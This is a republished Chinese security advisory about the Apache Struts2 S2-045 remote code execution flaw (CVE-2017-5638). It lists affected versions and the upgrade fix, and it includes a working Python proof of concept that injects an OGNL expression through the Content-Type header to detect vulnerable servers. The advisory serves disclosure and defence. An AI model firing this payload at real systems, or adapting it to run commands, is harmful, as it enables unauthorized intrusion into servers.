漏洞预警 | Apache Struts2 曝任意代码执行漏洞 (S2-045,CVE-2017-5638)

FreeBuf上次曝Struts 2的漏洞已经是半年多以前的事情了。

这次的漏洞又是个RCE远程代码执行漏洞。简单来说,基于Jakarta Multipart解析器进行文件上传时,利用漏洞可进行远程代码执行。该漏洞由安恒信息Nike Zheng上报。

Apache Struts是美国阿帕奇(Apache)软件基金会负责维护的一个开源项目,是一套用于创建企业级Java Web应用的开源MVC框架。

漏洞盒子lab和网藤均已支持该漏洞的检测:

· 漏洞盒子lab检测地址:https://www.vulbox.com/lab

· 网藤地址:www.riskivy.com【点击阅读原文检测

漏洞盒子lab是一款流行漏洞在线安全检测系统,输入URL或主机名即可测试是否存在漏洞。

漏洞编号

CVE-2017-5638

漏洞简介

Struts使用的Jakarta解析文件上传请求包不当,当远程攻击者构造恶意的Content-Type,可能导致远程命令执行。

实际上在default.properties文件中,struts.multipart.parser的值有两个选择,分别是jakarta和pell(另外原本其实也有第三种选择cos)。其中的jakarta解析器是Struts 2框架的标准组成部分。

默认情况下jakarta是启用的,所以该漏洞的严重性需要得到正视。

影响范围

Struts 2.3.5 – Struts 2.3.31

Struts 2.5 – Struts 2.5.10

修复方案

如果你正在使用基于Jakarta的文件上传Multipart解析器,请升级到Apache Struts 2.3.32或2.5.10.1版;或者也可以切换到不同的实现文件上传Multipart解析器。

漏洞PoC

import requests
import sys
def poc(url):
    payload = "%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(#ros.println(102*102*102*99)).(#ros.flush())}"
    headers = {}
    headers["Content-Type"] = payload
    r = requests.get(url, headers=headers)
    if "105059592" in r.content:
        return True
    return False
if __name__ == '__main__':
    if len(sys.argv) == 1:
        print "python s2-045.py target"
        sys.exit()
    if poc(sys.argv[1]):
        print "vulnerable"
    else:
        print "not vulnerable"

原文发布于微信公众号 - FreeBuf(freebuf)

原文发表时间:2017-03-07

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏小巫技术博客

Android Library上传到JCenter仓库实践

1134
来自专栏云计算

在Debian 8上使用Varnish和NGINX通过SSL和HTTP提供WordPress服务

Varnish是一个功能强大且灵活的缓存HTTP反向代理。它可以安装在任何Web服务器的前方来缓存其内容,这将提高速度并减少服务器负载。当客户端请求网页时,Va...

2282
来自专栏散尽浮华

linux下sendmail邮件系统安装操作记录

电子邮件系统的组成: 1)邮件用户代理(Mail User Agent , MUA),MUA是一个邮件系统的客户端程序,它提供了阅读,发送和接受电子邮件的用户接...

4979
来自专栏meteorzx

FTP错误详解及解决方案

这个问题在于你输入的网址有错误。有可能是你要连接的服务器不能识别你要求浏览的文档,或者你没有访问它的权利甚至它根本就是不存在的。仔细检查一下 你是否将网址写错,...

9786
来自专栏安恒信息

安全漏洞公告

1 OpenSSL TLS心跳扩展协议包远程信息泄露漏洞 OpenSSL TLS心跳扩展协议包远程信息泄露漏洞发布时间:2014-04-07漏洞编号:CVE(C...

3796
来自专栏FreeBuf

新手指南:如何用Ettercap实现“中间人攻击”

什么是“中间人攻击”? 中间人攻击(Man-in-the-Middle Attack,简称“MiTM攻击”)是一种“间接”的入侵攻击,这种攻击模式是通过各种技术...

3537
来自专栏散尽浮华

Linux系统下的ssh使用(依据个人经验总结)

对于linux运维工作者而言,使用ssh远程远程服务器是再熟悉不过的了!对于ssh的一些严格设置也关系到服务器的安全维护,今天在此,就本人工作中使用ssh的经验...

7427
来自专栏Google Dart

Dart服务器端 mojito包 原

就像它的名字一样,Mojito主要是糖和其他成分的混合物。 Mojito故意在几个shelf包上非常薄,并专注于构建应用程序的整体体验。

2191
来自专栏CRPER折腾记

一篇不大靠谱的nginx 1.11.10配置文件

网站是前后端分离,前端打包站点部署需要自力更生,为了避免跨域问题. 选择了nginx这个知名的反向代理服务器. 这里不探究安装这种问题。。。

852
来自专栏FreeBuf

经验分享 | Burpsuite抓取非HTTP流量

使用Burp对安卓应用进行渗透测试的过程中,有时候会遇到某些流量无法拦截的情况,这些流量可能不是HTTP协议的,或者是“比较特殊”的HTTP协议(以下统称非HT...

97010

扫码关注云+社区

领取腾讯云代金券